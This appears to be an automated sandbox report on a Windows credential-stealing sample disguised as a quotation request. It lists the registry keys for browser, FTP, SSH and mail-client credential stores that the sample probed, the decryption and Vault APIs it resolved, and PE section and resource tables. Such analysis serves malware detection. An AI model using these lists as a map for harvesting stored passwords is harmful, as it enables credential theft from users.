HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting\WMR
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\GRE_Initialize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox\75.0 (x86 en-GB)\Main
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Mozilla\Mozilla Firefox\75.0 (x86 en-GB)\Main\Install Directory
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Mozilla\Mozilla Firefox\CurrentVersion
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SideBySide
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\SideBySide\PreferExternalManifest
HKEY_LOCAL_MACHINE\SOFTWARE\ComodoGroup\IceDragon\Setup
HKEY_LOCAL_MACHINE\SOFTWARE\Apple Computer, Inc.\Safari
HKEY_LOCAL_MACHINE\SOFTWARE\K-Meleon
HKEY_LOCAL_MACHINE\SOFTWARE\mozilla.org\SeaMonkey
HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\SeaMonkey
HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Flock
HKEY_CURRENT_USER\Software\QtWeb.NET\QtWeb Internet Browser\AutoComplete
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IntelliForms\Storage2
HKEY_LOCAL_MACHINE\SOFTWARE\8pecxstudios\Cyberfox86
HKEY_LOCAL_MACHINE\SOFTWARE\8pecxstudios\Cyberfox
HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Pale Moon
HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Waterfox
HKEY_CURRENT_USER\Software\LinasFTP\Site Manager
HKEY_CURRENT_USER\Software\FlashPeak\BlazeFtp\Settings
HKEY_CURRENT_USER\Software\Ghisler\Total Commander
HKEY_CURRENT_USER\Software
HKEY_CURRENT_USER\Software\7-Zip
HKEY_CURRENT_USER\Software\Adobe
HKEY_CURRENT_USER\Software\AppDataLow
HKEY_CURRENT_USER\Software\Clients
HKEY_CURRENT_USER\Software\Google
HKEY_CURRENT_USER\Software\IM Providers
HKEY_CURRENT_USER\Software\JavaSoft
HKEY_CURRENT_USER\Software\Macromedia
HKEY_CURRENT_USER\Software\Microsoft
HKEY_CURRENT_USER\Software\Mozilla
HKEY_CURRENT_USER\Software\Netscape
HKEY_CURRENT_USER\Software\ODBC
HKEY_CURRENT_USER\Software\Piriform
HKEY_CURRENT_USER\Software\Policies
HKEY_CURRENT_USER\Software\Python
HKEY_CURRENT_USER\Software\WinRAR
HKEY_CURRENT_USER\Software\WinRAR SFX
HKEY_CURRENT_USER\Software\Wow6432Node
HKEY_CURRENT_USER\Software\Classes
HKEY_CURRENT_USER\Software\Far\Plugins\FTP\Hosts
HKEY_CURRENT_USER\Software\Far2\Plugins\FTP\Hosts
HKEY_CURRENT_USER\Software\Bitvise\BvSshClient
HKEY_CURRENT_USER\Software\VanDyke\SecureFX
HKEY_LOCAL_MACHINE\Software\NCH Software\Fling\Accounts
HKEY_CURRENT_USER\Software\NCH Software\Fling\Accounts
HKEY_LOCAL_MACHINE\Software\NCH Software\ClassicFTP\FTPAccounts
HKEY_CURRENT_USER\Software\NCH Software\ClassicFTP\FTPAccounts
HKEY_CURRENT_USER\Software\9bis.com\KiTTY\Sessions
HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions
HKEY_LOCAL_MACHINE\Software\SimonTatham\PuTTY\Sessions
HKEY_LOCAL_MACHINE\Software\9bis.com\KiTTY\Sessions
HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Thunderbird
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Mozilla\Mozilla Thunderbird\CurrentVersion
HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Thunderbird\60.5.0 (en-US)\Main
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Mozilla\Mozilla Thunderbird\60.5.0 (en-US)\Main\Install Directory
HKEY_CURRENT_USER\Software\IncrediMail\Identities
HKEY_LOCAL_MACHINE\Software\IncrediMail\Identities
HKEY_CURRENT_USER\Software\Martin Prikryl
HKEY_LOCAL_MACHINE\Software\Martin Prikryl
HKEY_LOCAL_MACHINE\SOFTWARE\Postbox\Postbox
HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\FossaMail
HKEY_CURRENT_USER\Software\WinChips\UserAccounts
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook
HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook
HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook
HKEY_CURRENT_USER\SOFTWARE\flaska.net\trojita
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanWorkstation\Parameters
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\LanmanWorkstation\Parameters\RpcCacheTimeout
HKEY_LOCAL_MACHINE\\xfffd\xfffd\xfffd\xfffd\xfffd\xfffd\x41a\xfffd\xfffd\xfffd\xfffd\xfffd\xfffd\xfffd\xfffd\xfffd\x45c\xfffd\xfffd\x419\xfffd\xfffd\xfffd\x419\xfffd\xfffd\x44f\xfffd\xfffd
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcSs
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcSs\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VaultSvc
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VaultSvc\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VaultSvc\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VaultSvc\WOW64
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ProfileList
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\ProgramData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\Public
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\Default
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonFilesDir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir (x86)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonFilesDir (x86)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramW6432Dir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonW6432Dir
HKEY_USERS\S-1-5-18
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-18
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-18\ProfileImagePath
HKEY_USERS\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\AppData
HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Local AppData
HKEY_USERS\.DEFAULT\Environment
HKEY_USERS\.DEFAULT\Volatile Environment
HKEY_USERS\.DEFAULT\Volatile Environment\0
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VaultSvc\Environment
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VaultSvc\RequiredPrivileges
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\ObjectName
DisableUserModeCallbackFilter
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\en-US
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\en-US
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Mozilla\Mozilla Firefox\75.0 (x86 en-GB)\Main\Install Directory
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Mozilla\Mozilla Firefox\CurrentVersion
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\SideBySide\PreferExternalManifest
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Mozilla\Mozilla Thunderbird\CurrentVersion
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Mozilla\Mozilla Thunderbird\60.5.0 (en-US)\Main\Install Directory
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\LanmanWorkstation\Parameters\RpcCacheTimeout
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcSs\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VaultSvc\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VaultSvc\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VaultSvc\WOW64
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\ProgramData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\Public
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\Default
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonFilesDir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir (x86)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonFilesDir (x86)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramW6432Dir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonW6432Dir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-18\ProfileImagePath
HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\AppData
HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Local AppData
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VaultSvc\Environment
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VaultSvc\RequiredPrivileges
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\ObjectName
kernel32.dll.FlsAlloc
kernel32.dll.FlsGetValue
kernel32.dll.FlsSetValue
kernel32.dll.FlsFree
kernelbase.dll.InitializeCriticalSectionAndSpinCount
kernel32.dll.ProcessIdToSessionId
imm32.dll.ImmCreateContext
imm32.dll.ImmDestroyContext
imm32.dll.ImmNotifyIME
imm32.dll.ImmAssociateContext
imm32.dll.ImmReleaseContext
imm32.dll.ImmGetContext
imm32.dll.ImmGetCompositionStringA
imm32.dll.ImmSetCompositionStringA
imm32.dll.ImmGetCompositionStringW
imm32.dll.ImmSetCompositionStringW
imm32.dll.ImmSetCandidateWindow
kernel32.dll.GetDiskFreeSpaceExA
oleaut32.dll.VariantChangeTypeEx
oleaut32.dll.VarNeg
oleaut32.dll.VarNot
oleaut32.dll.VarAdd
oleaut32.dll.VarSub
oleaut32.dll.VarMul
oleaut32.dll.VarDiv
oleaut32.dll.VarIdiv
oleaut32.dll.VarMod
oleaut32.dll.VarAnd
oleaut32.dll.VarOr
oleaut32.dll.VarXor
oleaut32.dll.VarCmp
oleaut32.dll.VarI4FromStr
oleaut32.dll.VarR4FromStr
oleaut32.dll.VarR8FromStr
oleaut32.dll.VarDateFromStr
oleaut32.dll.VarCyFromStr
oleaut32.dll.VarBoolFromStr
oleaut32.dll.VarBstrFromCy
oleaut32.dll.VarBstrFromDate
oleaut32.dll.VarBstrFromBool
user32.dll.GetMonitorInfoA
user32.dll.GetSystemMetrics
user32.dll.EnumDisplayMonitors
user32.dll.AnimateWindow
comctl32.dll.InitializeFlatSB
comctl32.dll.UninitializeFlatSB
comctl32.dll.FlatSB_GetScrollProp
comctl32.dll.FlatSB_SetScrollProp
comctl32.dll.FlatSB_EnableScrollBar
comctl32.dll.FlatSB_ShowScrollBar
comctl32.dll.FlatSB_GetScrollRange
comctl32.dll.FlatSB_GetScrollInfo
comctl32.dll.FlatSB_GetScrollPos
comctl32.dll.FlatSB_SetScrollPos
comctl32.dll.FlatSB_SetScrollInfo
comctl32.dll.FlatSB_SetScrollRange
user32.dll.SetLayeredWindowAttributes
kernel32.dll.GetSystemTimeAsFileTime
kernel32.dll.FileTimeToSystemTime
cryptsp.dll.CryptAcquireContextW
cryptsp.dll.CryptCreateHash
cryptsp.dll.CryptHashData
cryptsp.dll.CryptGetHashParam
cryptsp.dll.CryptDestroyHash
cryptsp.dll.CryptReleaseContext
nss3.dll.NSS_Init
nss3.dll.NSS_Shutdown
nss3.dll.PK11_GetInternalKeySlot
nss3.dll.PK11_FreeSlot
nss3.dll.PK11_Authenticate
nss3.dll.PK11SDR_Decrypt
nss3.dll.PK11_CheckUserPassword
nss3.dll.SECITEM_FreeItem
kernel32.dll.InitializeCriticalSectionEx
softokn3.dll.NSC_GetFunctionList
softokn3.dll.NSC_ModuleDBFunc
freebl3.dll.FREEBL_GetVector
cryptbase.dll.SystemFunction001
cryptbase.dll.SystemFunction002
cryptbase.dll.SystemFunction003
cryptbase.dll.SystemFunction004
cryptbase.dll.SystemFunction005
cryptbase.dll.SystemFunction028
cryptbase.dll.SystemFunction029
cryptbase.dll.SystemFunction034
cryptbase.dll.SystemFunction036
cryptbase.dll.SystemFunction040
cryptbase.dll.SystemFunction041
vaultcli.dll.VaultEnumerateItems
vaultcli.dll.VaultEnumerateVaults
vaultcli.dll.VaultFree
vaultcli.dll.VaultGetItem
vaultcli.dll.VaultOpenVault
vaultcli.dll.VaultCloseVault
nss3.dll.sqlite3_finalize
nss3.dll.sqlite3_step
nss3.dll.sqlite3_close
nss3.dll.sqlite3_column_text
nss3.dll.sqlite3_open16
nss3.dll.sqlite3_prepare_v2
sechost.dll.LookupAccountSidLocalW
netapi32.dll.NetUserGetInfo
cryptsp.dll.CryptImportKey
cryptsp.dll.CryptSetKeyParam
cryptsp.dll.CryptDecrypt
cryptsp.dll.CryptDestroyKey
"C:\Users\Louise\AppData\Local\Temp\Quotataion Request.exe"
C:\Windows\system32\lsass.exe
300134BE5A3EACE282B993B6
VaultSvc

BinGraph Download graph

PE Information

Image Base Entry Point Reported Checksum Actual Checksum Minimum OS Version Compile Time Import Hash Icon Icon Exact Hash Icon Similarity Hash
0x00400000 0x0046342c 0x00000000 0x0009861a 4.0 1992-06-19 22:22:17 335a7ffe81574e54c66fb8c5bf7dee3a 019734e91d375b19e9b2817a0c46fa08 8e53c43d39a0ff98bc1377f9961c4cd6

Sections

Name RAW Address Virtual Address Virtual Size Size of Raw Data Characteristics Entropy
CODE 0x00000400 0x00001000 0x00062474 0x00062600 IMAGE_SCN_CNT_CODE|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ 6.65
DATA 0x00062a00 0x00064000 0x00001a3c 0x00001c00 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE 4.32
BSS 0x00064600 0x00066000 0x00000f0d 0x00000000 IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE 0.00
.idata 0x00064600 0x00067000 0x00002038 0x00002200 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE 4.85
.tls 0x00066800 0x0006a000 0x00000010 0x00000000 IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE 0.00
.rdata 0x00066800 0x0006b000 0x00000018 0x00000200 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_SHARED|IMAGE_SCN_MEM_READ 0.20
.reloc 0x00066a00 0x0006c000 0x00006fa0 0x00007000 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_SHARED|IMAGE_SCN_MEM_READ 6.63
.rsrc 0x0006da00 0x00073000 0x0002514c 0x00025200 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_SHARED|IMAGE_SCN_MEM_READ 7.13

Resources

Name Offset Size Language Sub-language Entropy File type
RT_CURSOR 0x00076010 0x00000134 LANG_NEUTRAL SUBLANG_NEUTRAL 2.92 None
RT_CURSOR 0x00076010 0x00000134 LANG_NEUTRAL SUBLANG_NEUTRAL 2.92 None
RT_CURSOR 0x00076010 0x00000134 LANG_NEUTRAL SUBLANG_NEUTRAL 2.92 None
RT_CURSOR 0x00076010 0x00000134 LANG_NEUTRAL SUBLANG_NEUTRAL 2.92 None
RT_CURSOR 0x00076010 0x00000134 LANG_NEUTRAL SUBLANG_NEUTRAL 2.92 None
RT_CURSOR 0x00076010 0x00000134 LANG_NEUTRAL SUBLANG_NEUTRAL 2.92 None
RT_CURSOR 0x00076010 0x00000134 LANG_NEUTRAL SUBLANG_NEUTRAL 2.92 None
RT_BITMAP 0x00077378 0x000000e8 LANG_NEUTRAL SUBLANG_NEUTRAL 2.85 None
RT_BITMAP 0x00077378 0x000000e8 LANG_NEUTRAL SUBLANG_NEUTRAL 2.85 None
RT_BITMAP 0x00077378 0x000000e8 LANG_NEUTRAL SUBLANG_NEUTRAL 2.85 None
RT_BITMAP 0x00077378 0x000000e8 LANG_NEUTRAL SUBLANG_NEUTRAL 2.85 None
RT_BITMAP 0x00077378 0x000000e8 LANG_NEUTRAL SUBLANG_NEUTRAL 2.85 None
RT_BITMAP 0x00077378 0x000000e8 LANG_NEUTRAL SUBLANG_NEUTRAL 2.85 None
RT_BITMAP 0x00077378 0x000000e8 LANG_NEUTRAL SUBLANG_NEUTRAL 2.85 None
RT_BITMAP 0x00077378 0x000000e8 LANG_NEUTRAL SUBLANG_NEUTRAL 2.85 None
RT_BITMAP 0x00077378 0x000000e8 LANG_NEUTRAL SUBLANG_NEUTRAL 2.85 None
RT_BITMAP 0x00077378 0x000000e8 LANG_NEUTRAL SUBLANG_NEUTRAL 2.85 None
RT_BITMAP 0x00077378 0x000000e8 LANG_NEUTRAL SUBLANG_NEUTRAL 2.85 None
RT_ICON 0x00077460 0x00000128 LANG_ENGLISH SUBLANG_ENGLISH_US 3.69 None
RT_DIALOG 0x00077588 0x00000052 LANG_NEUTRAL SUBLANG_NEUTRAL 2.56 None
RT_STRING 0x0007a5c0 0x000002c4 LANG_NEUTRAL SUBLANG_NEUTRAL 3.17 None
RT_STRING 0x0007a5c0 0x000002c4 LANG_NEUTRAL SUBLANG_NEUTRAL 3.17 None
RT_STRING 0x0007a5c0 0x000002c4 LANG_NEUTRAL SUBLANG_NEUTRAL 3.17 None
RT_STRING 0x0007a5c0 0x000002c4 LANG_NEUTRAL SUBLANG_NEUTRAL 3.17 None
RT_STRING 0x0007a5c0 0x000002c4 LANG_NEUTRAL SUBLANG_NEUTRAL 3.17 None
RT_STRING 0x0007a5c0 0x000002c4 LANG_NEUTRAL SUBLANG_NEUTRAL 3.17 None
RT_STRING 0x0007a5c0 0x000002c4 LANG_NEUTRAL SUBLANG_NEUTRAL 3.17 None
RT_STRING 0x0007a5c0 0x000002c4 LANG_NEUTRAL SUBLANG_NEUTRAL 3.17 None
RT_STRING 0x0007a5c0 0x000002c4 LANG_NEUTRAL SUBLANG_NEUTRAL 3.17 None
RT_STRING 0x0007a5c0 0x000002c4 LANG_NEUTRAL SUBLANG_NEUTRAL 3.17 None
RT_STRING 0x0007a5c0 0x000002c4 LANG_NEUTRAL SUBLANG_NEUTRAL 3.17 None
RT_STRING 0x0007a5c0 0x000002c4 LANG_NEUTRAL SUBLANG_NEUTRAL 3.17 None
RT_STRING 0x0007a5c0 0x000002c4 LANG_NEUTRAL SUBLANG_NEUTRAL 3.17 None
RT_STRING 0x0007a5c0 0x000002c4 LANG_NEUTRAL SUBLANG_NEUTRAL 3.17 None
RT_STRING 0x0007a5c0 0x000002c4 LANG_NEUTRAL SUBLANG_NEUTRAL 3.17 None
RT_STRING 0x0007a5c0 0x000002c4 LANG_NEUTRAL SUBLANG_NEUTRAL 3.17 None
RT_STRING 0x0007a5c0 0x000002c4 LANG_NEUTRAL SUBLANG_NEUTRAL 3.17 None
RT_STRING 0x0007a5c0 0x000002c4 LANG_NEUTRAL SUBLANG_NEUTRAL 3.17 None
RT_STRING 0x0007a5c0 0x000002c4 LANG_NEUTRAL SUBLANG_NEUTRAL 3.17 None
RT_STRING 0x0007a5c0 0x000002c4 LANG_NEUTRAL SUBLANG_NEUTRAL 3.17 None
RT_RCDATA 0x0007abdc 0x00000334 LANG_NEUTRAL SUBLANG_NEUTRAL 5.63 None
RT_RCDATA 0x0007abdc 0x00000334 LANG_NEUTRAL SUBLANG_NEUTRAL 5.63 None
RT_RCDATA 0x0007abdc 0x00000334 LANG_NEUTRAL SUBLANG_NEUTRAL 5.63 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
